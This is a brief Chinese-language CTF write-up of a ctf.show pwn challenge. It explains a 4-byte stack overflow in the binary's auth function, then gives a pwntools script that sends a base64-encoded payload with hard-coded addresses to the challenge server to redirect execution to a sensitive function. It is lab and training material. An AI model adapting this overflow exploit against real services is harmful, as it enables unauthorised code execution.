一开始还被那些个什么解密加密吓了一跳,如临大敌的。后来发现就那一回事,甚至不用看,也不用去迎合条件,有一个溢出点,在auth函数那,利用input的最大空间复制填满那个栈上的数据,刚好溢出4字节,就可以填入关键函数,直接跳到调用敏感函数可以,或者在溢出时迎合那个调用敏感函数对比条件也可以,这里选择了迎合:
from pwn import*
from base64 import*
context(os='linux',arch='i386')
context.log_level = 'debug'
# p=process('./pwn')
p=remote('pwn.challenge.ctf.show',28139)
elf=ELF('./pwn')
def g():
gdb.attach(p)
pause()
p.recvuntil(b'CTFshow login: ')
sys=0x804925F
# sys=0x08049284
inp=0x811EB40
payload=p32(0xdeadbeef)+p32(sys)+p32(inp)
payload=base64.b64encode(payload)
# g()
p.sendline(payload)
p.interactive()